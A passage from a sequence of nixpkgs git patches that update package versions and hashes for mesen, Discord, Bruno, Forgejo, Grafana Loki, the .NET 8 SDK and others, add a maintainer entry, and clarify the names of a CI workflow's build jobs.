-    "hash": "sha256-+PSgjxvHIJBQRn8naGgSfYyArImVLwy6ftm9FoQc+lA="
+    "version": "11.3.0.2",
+    "hash": "sha256-zT4GyVYmjxExy81calOaEupMoVqiSM1B9+jPz9cSx9A="
   },
   {
     "pname": "Dock.Model.Mvvm",
-    "version": "11.2.0",
-    "hash": "sha256-iO67eWHoxsB51Wx5KIK4dwVkU9qwrja7pYsQWTs/8sA="
+    "version": "11.3.0.2",
+    "hash": "sha256-piWUuHZRkEQO31VmqfL1BMt/ZwfFlxolSo9xYYKG4E0="
   },
   {
     "pname": "Dock.Settings",
-    "version": "11.2.0",
-    "hash": "sha256-esCRl7Trdv2bu2ayLw5kXVtCskXLar1asykkfWnqhug="
+    "version": "11.3.0.2",
+    "hash": "sha256-z1Mj1/HLPSYaj+v9/SJ52jkaeo3SK56n44TAQFDGVZI="
   },
   {
     "pname": "DotNet.Bundle",
@@ -161,28 +151,28 @@
   },
   {
     "pname": "HarfBuzzSharp",
-    "version": "7.3.0.3",
-    "hash": "sha256-1vDIcG1aVwVABOfzV09eAAbZLFJqibip9LaIx5k+JxM="
+    "version": "8.3.1.1",
+    "hash": "sha256-614yv6bK9ynhdUnvW4wIkgpBe2sqTh28U9cDZzdhPc0="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.Linux",
-    "version": "7.3.0.3",
-    "hash": "sha256-HW5r16wdlgDMbE/IfE5AQGDVFJ6TS6oipldfMztx+LM="
+    "version": "8.3.1.1",
+    "hash": "sha256-sBbez6fc9axVcsBbIHbpQh/MM5NHlMJgSu6FyuZzVyU="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.macOS",
-    "version": "7.3.0.3",
-    "hash": "sha256-UpAVfRIYY8Wh8xD4wFjrXHiJcvlBLuc2Xdm15RwQ76w="
+    "version": "8.3.1.1",
+    "hash": "sha256-hK20KbX2OpewIO5qG5gWw5Ih6GoLcIDgFOqCJIjXR/Q="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.WebAssembly",
-    "version": "7.3.0.3",
-    "hash": "sha256-jHrU70rOADAcsVfVfozU33t/5B5Tk0CurRTf4fVQe3I="
+    "version": "8.3.1.1",
+    "hash": "sha256-mLKoLqI47ZHXqTMLwP1UCm7faDptUfQukNvdq6w/xxw="
   },
   {
     "pname": "HarfBuzzSharp.NativeAssets.Win32",
-    "version": "7.3.0.3",
-    "hash": "sha256-v/PeEfleJcx9tsEQAo5+7Q0XPNgBqiSLNnB2nnAGp+I="
+    "version": "8.3.1.1",
+    "hash": "sha256-Um4iwLdz9XtaDSAsthNZdev6dMiy7OBoHOrorMrMYyo="
   },
   {
     "pname": "MicroCom.Runtime",
@@ -271,7 +261,7 @@
   },
   {
     "pname": "Tmds.DBus.Protocol",
-    "version": "0.20.0",
-    "hash": "sha256-CRW/tkgsuBiBJfRwou12ozRQsWhHDooeP88E5wWpWJw="
+    "version": "0.21.2",
+    "hash": "sha256-gaK/5aAummyin6ptnhaJbnA0ih4+2xADrtrLfFbHwYI="
   }
 ]
diff --git a/pkgs/by-name/me/mesen/dont-use-nightly-avalonia.patch b/pkgs/by-name/me/mesen/dont-use-nightly-avalonia.patch
index b21e6b7d0306..364451859a3e 100644
--- a/pkgs/by-name/me/mesen/dont-use-nightly-avalonia.patch
+++ b/pkgs/by-name/me/mesen/dont-use-nightly-avalonia.patch
@@ -14,20 +14,3 @@ index 7721884..3011ae8 100644
  	<ItemGroup>
  		<TrimmerRootAssembly Include="Mesen" />
  		<TrimmerRootAssembly Include="AvaloniaEdit" />
-@@ -105,13 +100,13 @@
- 		<TrimmerRootAssembly Include="Dock.Settings" />
- 	</ItemGroup>
-   <ItemGroup>
--    <PackageReference Include="Avalonia" Version="11.3.999-cibuild0054047-alpha" />
-+    <PackageReference Include="Avalonia" Version="11.2.4" />
-     <PackageReference Include="Avalonia.AvaloniaEdit" Version="11.1.0" />
--    <PackageReference Include="Avalonia.Desktop" Version="11.3.999-cibuild0054047-alpha" />
-+    <PackageReference Include="Avalonia.Desktop" Version="11.2.4" />
-     <PackageReference Include="Avalonia.Controls.ColorPicker" Version="11.2.3" />
-     <PackageReference Include="Avalonia.Diagnostics" Version="11.2.3" Condition="'$(OptimizeUi)'!='true'" />
-     <PackageReference Include="Avalonia.ReactiveUI" Version="11.2.3" />
--    <PackageReference Include="Avalonia.Themes.Fluent" Version="11.3.999-cibuild0054047-alpha" />
-+    <PackageReference Include="Avalonia.Themes.Fluent" Version="11.2.4" />
-     <PackageReference Include="Dock.Avalonia" Version="11.2.0" />
-     <PackageReference Include="Dock.Model.Mvvm" Version="11.2.0" />
-     <PackageReference Include="Dotnet.Bundle" Version="*" />
diff --git a/pkgs/by-name/me/mesen/package.nix b/pkgs/by-name/me/mesen/package.nix
index 34b5b1108727..cb7bca0d47c1 100644
--- a/pkgs/by-name/me/mesen/package.nix
+++ b/pkgs/by-name/me/mesen/package.nix
@@ -12,13 +12,13 @@
 
 buildDotnetModule rec {
   pname = "mesen";
-  version = "2.0.0-unstable-2025-04-01";
+  version = "2.1.1";
 
   src = fetchFromGitHub {
     owner = "SourMesen";
     repo = "Mesen2";
-    rev = "0dfdbbdd9b5bc4c5d501ea691116019266651aff";
-    hash = "sha256-+Jzw1tfdiX2EmQIoPuMtLmJrv9nx/XqfyLEBW+AXj1I=";
+    tag = version;
+    hash = "sha256-vBwAPAnp6HIgI49vAZIqnzw8xHQ7ZMuALjf7G+acCXg=";
   };
 
   patches = [
@@ -72,8 +72,7 @@ buildDotnetModule rec {
   };
 
   meta = {
-    badPlatforms = [ "aarch64-linux" ]; # not sure what the issue is
-    description = "Multi-system emulator that supports NES, SNES, Game Boy (Color) and PC Engine games";
+    description = "Multi-system emulator that supports NES, SNES, Game Boy, Game Boy Advance, PC Engine, SMS/Game Gear and WonderSwan games";
     homepage = "https://www.mesen.ca";
     license = lib.licenses.gpl3Plus;
     mainProgram = "Mesen";

From 7a6a0c3baa9322837a5ade49a9cd4d96b446f67f Mon Sep 17 00:00:00 2001
From: Henri Peurasaari <henri.peurasaari@helsinki.fi>
Date: Fri, 4 Jul 2025 02:13:49 +0300
Subject: [PATCH 2297/4511] maintainers: add hekazu

(cherry picked from commit 5dadf8aff0f9bd9224e1a45b2d213b1b00ca9dd4)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 77949fba49b7..fc2e15e68c42 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -9753,6 +9753,12 @@
     githubId = 44377258;
     name = "Heitor Augusto";
   };
+  hekazu = {
+    name = "Henri Peurasaari";
+    email = "henri.peurasaari@helsinki.fi";
+    github = "hekazu";
+    githubId = 16819092;
+  };
   helium = {
     email = "helium.dev@tuta.io";
     github = "helium18";

From 9db820a22393a9001cb70b27d27039f4289ba2fc Mon Sep 17 00:00:00 2001
From: Henri Peurasaari <henri.peurasaari@helsinki.fi>
Date: Fri, 4 Jul 2025 02:25:36 +0300
Subject: [PATCH 2298/4511] tmc-cli: init at 1.1.2

Command line interface for TMC, for use with MOOC and University of
Helsinki courses.

(cherry picked from commit 903e696f079666815082ce3afa5c3543d8dc9993)
---
 pkgs/by-name/tm/tmc-cli/package.nix | 41 +++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 pkgs/by-name/tm/tmc-cli/package.nix

diff --git a/pkgs/by-name/tm/tmc-cli/package.nix b/pkgs/by-name/tm/tmc-cli/package.nix
new file mode 100644
index 000000000000..03ec3a00e500
--- /dev/null
+++ b/pkgs/by-name/tm/tmc-cli/package.nix
@@ -0,0 +1,41 @@
+{
+  lib,
+  fetchFromGitHub,
+  rustPlatform,
+  writableTmpDirAsHomeHook,
+  versionCheckHook,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "tmc-cli";
+  version = "1.1.2";
+
+  src = fetchFromGitHub {
+    owner = "rage";
+    repo = "tmc-cli-rust";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-C7X+XTOqquqf/W29+A4wUUl6aDZYLlc5XokkIOrCbp0=";
+  };
+
+  cargoHash = "sha256-2KoHKTN1Jvyvk9ravi0a9D+RIFYa1KmHLJQzKT2iP9A=";
+
+  nativeCheckInputs = [
+    writableTmpDirAsHomeHook
+  ];
+
+  nativeInstallCheckInputs = [
+    versionCheckHook
+  ];
+  doInstallCheck = true;
+  versionCheckProgram = "${placeholder "out"}/bin/${finalAttrs.meta.mainProgram}";
+  versionCheckProgramArg = "--version";
+
+  meta = {
+    description = "CLI for using the TestMyCode programming assignment evaluator";
+    homepage = "https://github.com/rage/tmc-cli-rust";
+    changelog = "https://github.com/rage/tmc-cli-rust/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ hekazu ];
+    mainProgram = "tmc";
+  };
+})

From 9ccb036e435306678d8a1a1c9335257ec29ffd7e Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Thu, 10 Jul 2025 17:21:49 -0400
Subject: [PATCH 2299/4511] workflows/build: be clearer about what is being
 built

Committers could get the false impression from, e.g., `PR / Build / aarch64-linux` that this workflow builds the packages changed in the current PR. Such a misunderstanding could pair poorly with the "enable auto-merge" button, once that's enabled.

(cherry picked from commit 261bba1fcdd31321a7cabd88ed03c1893e67f6c2)
---
 .github/workflows/build.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 29c7c68d631f..2ca140aee4c8 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -28,16 +28,20 @@ jobs:
           - runner: ubuntu-24.04
             system: x86_64-linux
             builds: [shell, manual-nixos, lib-tests]
+            desc: shell, docs, lib
           - runner: ubuntu-24.04-arm
             system: aarch64-linux
             builds: [shell, manual-nixos, manual-nixpkgs, manual-nixpkgs-tests]
+            desc: shell, docs
           - runner: macos-13
             system: x86_64-darwin
             builds: [shell]
+            desc: shell
           - runner: macos-14
             system: aarch64-darwin
             builds: [shell]
-    name: ${{ matrix.system }}
+            desc: shell
+    name: '${{ matrix.system }}: ${{ matrix.desc }}'
     runs-on: ${{ matrix.runner }}
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

From 97ad0d00c360890ce3cd2d8ec2877c5b6dbee732 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 8 Jul 2025 04:22:23 +0000
Subject: [PATCH 2300/4511] tclPackages.zesty: 0.1 -> 0.2

(cherry picked from commit 7b2a275100a645b5982d331704124583a8a60582)
---
 pkgs/development/tcl-modules/by-name/ze/zesty/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tcl-modules/by-name/ze/zesty/package.nix b/pkgs/development/tcl-modules/by-name/ze/zesty/package.nix
index 05418d6d342c..738eb0709b94 100644
--- a/pkgs/development/tcl-modules/by-name/ze/zesty/package.nix
+++ b/pkgs/development/tcl-modules/by-name/ze/zesty/package.nix
@@ -8,13 +8,13 @@
 
 mkTclDerivation rec {
   pname = "zesty";
-  version = "0.1";
+  version = "0.2";
 
   src = fetchFromGitHub {
     owner = "nico-robert";
     repo = "zesty";
     tag = "v${version}";
-    hash = "sha256-XJdgS1Lf5B5VjGq2gztc5p3E7TLiibaYfU9f8r1wKOc=";
+    hash = "sha256-1K3E9rQAXEXegLjp2mZTzwyDXq3lMpDr0DB4I+ACH08=";
   };
 
   propagatedBuildInputs = [

From 529054502b36f0243ea03e64bdc97ffb5deafb5b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 8 Jul 2025 10:03:31 +0000
Subject: [PATCH 2301/4511] zrc: 2.1 -> 2.2

(cherry picked from commit e8cda3e23328c5d1346cb5d05c1d367e79bd4394)
---
 pkgs/by-name/zr/zrc/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/zr/zrc/package.nix b/pkgs/by-name/zr/zrc/package.nix
index d28906026580..4afacca1e383 100644
--- a/pkgs/by-name/zr/zrc/package.nix
+++ b/pkgs/by-name/zr/zrc/package.nix
@@ -8,13 +8,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zrc";
-  version = "2.1";
+  version = "2.2";
 
   src = fetchFromGitHub {
     owner = "Edd12321";
     repo = "zrc";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-prUbuXyhIJczCvjqwm9pp2n75LY10+6SzYaOHd+S748=";
+    hash = "sha256-iqGK6myl5kybTWtL6mQPAWNWluOPUxiNCJFf3e8CfHA=";
   };
 
   nativeBuildInputs = [

From 941412e0eb16dd492e7718ee794b64c44be6f082 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 16:56:10 +0000
Subject: [PATCH 2302/4511] discord-canary: 0.0.702 -> 0.0.709

(cherry picked from commit e0dd01756c97635ed87f8fedb2be5c805d3dd5af)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 1fa893d7f7dc..916070eb3c44 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.98";
         ptb = "0.0.148";
-        canary = "0.0.702";
+        canary = "0.0.709";
         development = "0.0.81";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-OcRGqwf13yPnbDpYOyXZgEQN/zWshUXfaF5geiLetlc=";
+        hash = "sha256-2lzXTuE+nkyw+GG9nAMxIIloAlEngY9Q6OKfbrWgFiI=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From 7cf984a11f3b8f8b7100b3743aa92f41b6496cc8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 6 Jul 2025 17:08:32 +0000
Subject: [PATCH 2303/4511] discord: 0.0.98 -> 0.0.100

(cherry picked from commit 41276d2ca76dc7623f27d8304069840ad8e085d3)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 1fa893d7f7dc..9939d50cfc07 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,7 +9,7 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.98";
+        stable = "0.0.100";
         ptb = "0.0.148";
         canary = "0.0.702";
         development = "0.0.81";
@@ -26,7 +26,7 @@ let
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-JT3fIG5zj2tvVPN9hYxCUFInb78fuy8QeWeZClaYou8=";
+        hash = "sha256-3trE9awddfB1ZasJQjbQc0xOoTqIRY0thEwL7Uz5+O8=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";

From e181e274fc32661b97302673adaab0033f07c7ad Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 10 Jul 2025 19:01:09 +0000
Subject: [PATCH 2304/4511] bruno: 2.6.1 -> 2.7.0

(cherry picked from commit 47a2c37fdd286f625c08ddc61a46b76a4d18a6a3)
---
 pkgs/by-name/br/bruno/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index a9e3b9577ba7..4eb4e5175505 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -19,20 +19,20 @@
 
 buildNpmPackage rec {
   pname = "bruno";
-  version = "2.6.1";
+  version = "2.7.0";
 
   src = fetchFromGitHub {
     owner = "usebruno";
     repo = "bruno";
     tag = "v${version}";
-    hash = "sha256-GR/TmBuZbt/8cB9gtRPgzSVnzdrB1BKhYjahfJ3ErgQ=";
+    hash = "sha256-qNZCLd4FixJ+I5xaIIQ9EIKfCXnPOZFGbXHkgagBbFE=";
 
     postFetch = ''
       ${lib.getExe npm-lockfile-fix} $out/package-lock.json
     '';
   };
 
-  npmDepsHash = "sha256-/u7xyd1+RXNN7khVOglzYGMCI+fPjyiuSF2BSZAqEtI=";
+  npmDepsHash = "sha256-osdjtn9jn6T1YizQM7I9cfiHvIkrZ8HRDNjsR+FS/DE=";
   npmFlags = [ "--legacy-peer-deps" ];
 
   nativeBuildInputs =

From e78664a4c8816735102bf30299fe0c8cb42d6a85 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 10 Jul 2025 21:42:31 +0000
Subject: [PATCH 2305/4511] forgejo-lts: 11.0.2 -> 11.0.3

https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/11.0.3.md
(cherry picked from commit 0bbedb54d793218ffc26a5b3488e91e4b8fd0846)
---
 pkgs/by-name/fo/forgejo/lts.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo/lts.nix b/pkgs/by-name/fo/forgejo/lts.nix
index 94a23757ba5b..197afc0e9f67 100644
--- a/pkgs/by-name/fo/forgejo/lts.nix
+++ b/pkgs/by-name/fo/forgejo/lts.nix
@@ -1,6 +1,6 @@
 import ./generic.nix {
-  version = "11.0.2";
-  hash = "sha256-myg6BGoCJaX7YbQAFSRwX0KtX/TFLKJOUuirqtQcN8Q=";
+  version = "11.0.3";
+  hash = "sha256-tHanxcxpxVYKd28onKJnuB/Qtee2gop3yKjXJ+i9X4o=";
   npmDepsHash = "sha256-wsjosyZ5J5mU7ixbWjXnbqkvgnOE0dGz81vVqaI61go=";
   vendorHash = "sha256-5eaPdvU2NbCgbL+rcCqzphTESLHGbGZ3MgtXknCjrSc=";
   lts = true;

From c8654ab10e7e4c2a5465203fd8b9e7d6c172d7af Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 11 Jul 2025 21:12:24 +0000
Subject: [PATCH 2306/4511] grafana-loki: 3.4.4 -> 3.4.5

https://github.com/grafana/loki/releases/tag/v3.4.5
---
 pkgs/by-name/gr/grafana-loki/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gr/grafana-loki/package.nix b/pkgs/by-name/gr/grafana-loki/package.nix
index 097cb9a46098..40a7c4c0d14e 100644
--- a/pkgs/by-name/gr/grafana-loki/package.nix
+++ b/pkgs/by-name/gr/grafana-loki/package.nix
@@ -12,14 +12,14 @@
 }:
 
 buildGoModule rec {
-  version = "3.4.4";
+  version = "3.4.5";
   pname = "grafana-loki";
 
   src = fetchFromGitHub {
     owner = "grafana";
     repo = "loki";
     rev = "v${version}";
-    hash = "sha256-noKgsOTW3qTQBBatImrH1JDk5UkM0zKpVQ5rlWHqnpk=";
+    hash = "sha256-ToQELm3JniCc1m8iRyG/DND6M+FXj4kLpBR++xaxABQ=";
   };
 
   vendorHash = null;

From daeda963f781a0051c8200eaf4a4ca7a5738ec02 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Fri, 11 Jul 2025 10:48:19 +0000
Subject: [PATCH 2307/4511] dotnetCorePackages.sdk_8_0-bin: 8.0.411 -> 8.0.412

(cherry picked from commit c20e069e58099b912bfa342fbb568350e74793aa)
---
 .../compilers/dotnet/versions/8.0.nix         | 620 +++++++++---------
 1 file changed, 310 insertions(+), 310 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/8.0.nix b/pkgs/development/compilers/dotnet/versions/8.0.nix
index 064a5355d85f..f1e9699082da 100644
--- a/pkgs/development/compilers/dotnet/versions/8.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/8.0.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.17";
-      hash = "sha512-7CBEGt44FE1zkTlbWuztY05SgJsBe4NTVQUOgCCEb6Y/SwHW3hcBP/H7Jxt5rWBCmVB3Gn8THi+fldHe+g3V+w==";
+      version = "8.0.18";
+      hash = "sha512-cl1DhWFUTOA8O139k5ytpW4ttBJRSllzfpQ/sOXHg+r0ZYm2HZu4M4iMA70yHnqp0GtuGxqUBJ2duJkk4ydRWw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.17";
-      hash = "sha512-3d/oVZzNM1+MSLPNdeassLrOlgZuFcSEZ8z9JjofhRdPSLZwVPuYiX48ylLlyXiY6WdMGn6i2kcHI3NUZ7TQmw==";
+      version = "8.0.18";
+      hash = "sha512-rMa3+s+Qy5BhAw+Zj8tDaNtcbMJcn/L6SGQ/4/qMca+JxTdWUruzCscAgA35wNLOKJ806A0rw26rhV7FdZFK0A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.17";
-      hash = "sha512-SVpn42wW9M6HI16kOeaM09nw2SlZsgsZCHTzBPBGrVRDblwcUV7U6MxMgH9XwrqSTziAZgLhIwR2BHvHwvoxWw==";
+      version = "8.0.18";
+      hash = "sha512-pkMF8rdmxdni+bMP8A5kek1ig+rBriWqCszuNdH4MddjIzjQe1jNqjB0XdRtHZdKgL5OpWBK1nBPBYiT1oeYAw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.17";
-      hash = "sha512-Hh4MgVIOGGWATWiysB1uCATWEW/nwNaYtQcTpkVJ/NBJmzVrwx/GQQBYe0uZwiRQ8npGEBvouS0tha/5zjIcPQ==";
+      version = "8.0.18";
+      hash = "sha512-0HyBUjT2SHH9SrJxfVzsjb4wJ/3HJ2NZDfxqMfoDCRlPUCT6iApy0O+PnhAtFqyfvB+wpNsQmFhHi7MHz+hFfw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.17";
-      hash = "sha512-KzLfeiD/vvTNuuWwq+yzUP0anje9vbqC+COuV1lgsD25zyUAyJwYthDVyhYdZ07aZNs7V1bx8yoMcUUL+ql3sw==";
+      version = "8.0.18";
+      hash = "sha512-WeYxJHGMgva5F9l2oo3N3+tKZIBZNoOCjyyXju8uyWnwxtbF8HbxbRZGxR80DVJ5PIUW8E6qKVo9t/rm+0gCIA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.17";
-      hash = "sha512-490ItCA3f0tB89YK/p9mf6UB7w8tNusrjUYRpzXomG9TtOScyKaFmSxvRHaaeWGT/bbOpaitLSaWKKnnAxFKkw==";
+      version = "8.0.18";
+      hash = "sha512-iUKTKzPeh/7Vv7it/Jr7U5lCpfE2aq1hvtfdh9C0fBPboV+0fMG05t9dEl+ewN8W1rJ6+Xq92QEhbANQAA0Org==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.17";
-      hash = "sha512-47EF7FIww1odYFPgGkZdkbazfOhxVCH5VfvU89ht52DzsdeRun+u53SKRRQewcku3M76JXlPAUaWYF9YEbRhKw==";
+      version = "8.0.18";
+      hash = "sha512-+6dNm86ZF+53JC3kMQhT1msw2CzoBijWMnDxD0VDsIp5lvvtNTWy/Sl5bTuvIFcSbq00iVefNHa05ELXs9mL+g==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.17";
-      hash = "sha512-P3X61aknNd61nNPPeRvxZmKaX35fNrlmcZ6f2EqSmRFjSmVaZRY5AW1jHx+P3zyc+f5sKVvSDSe+cBwM6sIsKQ==";
+      version = "8.0.18";
+      hash = "sha512-E/HnHEgLQboNM63koeog+GQwoUjj9oLo/gJXKfdfLq8D9LfgG8tvkbnVdQD4zg9ri2pIGTTjNzwoy07whjGl5Q==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-8NI7LrwgScvsfnIvIutWgDBNZv52afHUqTkQhiOYXg7kRUQ9VQsrV3wR+hnHo/WGlSibGcNBHz9hXRXGL3PApQ==";
+        version = "8.0.18";
+        hash = "sha512-diW7p7SmT+AaZ3w0mesbmnSLHLvcz7qV/PtstYS5lGoOFge9tqPrQKvN1lkjRTNyFxii3hpEVZYBA7341tCj4g==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-qNBOlNW0AVi2ZzOUgYpQIwr8ZFkY/64+59pYYwG2+SMtkwTJdOYTNX9N03gODk7tUsIzJpZ7aBLo6KKMXgRX/g==";
+        version = "8.0.18";
+        hash = "sha512-7RgDbnLuJdyhM8LdlmcSMnTuaSrzNCGe1P+SBMxfM8hioiwupoP1axEH1KkxCl0tWjG4EZCMpZUHrh+Gb6JowA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-t5PXM7/aThrr95wvivIB95usffttNzSxLKlCH/6breXbQ4pVVD/rRIvfQbsC+z5S3cqkyfr7bcbqdevY2i7zzg==";
+        version = "8.0.18";
+        hash = "sha512-BHJH9up/pokbEYBvkKih9QKnf/UmLXvX14m2lZZbVOvLgB6NR4Z+6ZOojuEJVmdFsWl7Ai//KYfc4sz1zewwAA==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-MIU7+TheXyNxkcnDwBhQMLc09/id6XFqvxpZZqMQ84UH18/56YAxsPmZdkKPCXTmQhcPO45//vrDYP0FfrRHLA==";
+        version = "8.0.18";
+        hash = "sha512-Ymgqi3mVAYXktoV8Pm4uJk87tmoUsGNiDE6ixMghaSnrBzeJQHgiOgC08Loi5tt4GeAzKuofF9VWrST2Cr+mkw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-2Pg0cRKKLlIs4ZJP3p97BYAXG6Ttnl/4xC0EMqvpiigljSSc/4loJpEceFjA9SEcBISRtm0yg5tB9CKUY7JGAg==";
+        version = "8.0.18";
+        hash = "sha512-JOnFBpCCSH6jp2wohLNBKeDXUfU/ZyF2Q8VALOqOh3oWicvO9WPw5skyHzuV6k/ClnKIhLZmJWF9sDIaCB1KXg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-SrlXcJ/A68zSy3e+NOYPB+7BCjjKE6QjSxKEAkdaNBwBBPvMC94tnYUDxKhES/6Je9guGE4LF/A2nEe2RNeejA==";
+        version = "8.0.18";
+        hash = "sha512-fQNP3JTHUnEkHnXnRuH1UBs3SyTzf3pCoMA1stExgShCQ5tR4LKKGu9OdEG+2QdmJMdMSunnU3CL8/UbfU/4XA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-FAOcrRdUyHU5QBDf+4GSjyTPb0nw+NhdF4hkQjsKuzlmUdbY7jbsEY8xr8nfOw+dnKNcj+4N0VGlqKT5zKnZOA==";
+        version = "8.0.18";
+        hash = "sha512-+F4XZgRh6v/UaQwU8iJ8JzHrhtWTLICXJ7lEv/PvqD37VQY/2irYLo4tCpZwLIfeZAldv4Sc+LeH5EcRov7Izg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-YJib2fbiDQeWrEoAVAyVBa+ASWXJqjHyygr/9N9qHWAIuQn4F9PBkJs90ZBkEGxFhLGOsV0dLv3QSSfn9G9anw==";
+        version = "8.0.18";
+        hash = "sha512-stToQ45BL6fOk6arYUcYiRF5gX244Bju/GS0UKJyYpf61SFVHgiOfZtqciFWWEGTc0xuEHURjvNij4FTTYYs2g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-9AZNX0abD5AXz0PARFGU5N8jxBeuEAreZrMcsjuWqm+diyA51LCWJeGkG0HJ1XV88G9hSLn3gTCadhPKiYe8yA==";
+        version = "8.0.18";
+        hash = "sha512-n4956y81CtgHtzxRlLoZs9no1NeT6vHtHh00RTHST7m55eMV2Tslm/5k0Jo1Xo/T+50QmZqlGSfTH4hLpwEh2Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
